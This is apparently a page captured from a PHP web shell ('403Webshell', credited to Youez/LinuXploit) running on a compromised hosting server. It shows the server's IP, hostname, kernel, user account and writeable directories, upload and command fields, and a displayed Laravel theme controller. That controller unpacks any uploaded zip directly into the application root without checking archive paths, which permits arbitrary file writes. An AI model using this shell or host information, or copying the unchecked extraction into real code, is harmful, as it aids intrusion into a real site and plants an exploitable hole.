403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.144.91.130
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/modules/Theme/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/modules/Theme/Admin/ThemeController.php
<?php

namespace Modules\Theme\Admin;

use Illuminate\Http\Request;
use Modules\AdminController;
use Modules\Core\JsonConfigManager;
use Modules\Theme\ThemeManager;

class ThemeController extends AdminController
{
    public function __construct()
    {
        parent::__construct();
        $this->setActiveMenu(route('theme.admin.index'));
    }

    public function index(Request $request){
        $this->checkPermission("theme_manage");

        $data = [
            "rows"=>ThemeManager::all(),
            "page_title"=>__("Theme management")
        ];

        return view('Theme::admin.index',$data);
    }

    public function upload(Request $request){
        $this->checkPermission("theme_manage");

        $data = [
            "page_title"=>__("Theme Upload")
        ];

        return view('Theme::admin.upload',$data);
    }

    public function upload_post(Request $request){
        $this->checkPermission("theme_manage");

        $request->validate([
            'file'=>[
                'required',
                'mimes:zip',
                'mimetypes:application/zip'
            ]
        ]);
        $file = $request->file('file');
        if(!$file){
            return redirect()->back()->with('danger',__("Please select file"));
        }

        $zipArchive = new \ZipArchive();
        if ($zipArchive->open($file->getRealPath())) {
            // Extracts to current directory
            $zipArchive->extractTo(base_path('/'));
        } else {
            return redirect()->back()->with('danger',__("Can not open zip file"));
        }

        return redirect(route('theme.admin.index'))->with('success','Theme uploaded');
    }

    public function activate($theme){
        $this->checkPermission("theme_manage");

        try{
            JsonConfigManager::set("active_theme",trim($theme));
        }catch (\Throwable $throwable)
        {
            back()->with('danger',$throwable->getMessage());
        }

        return back()->with('success',__("Theme activated"));
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit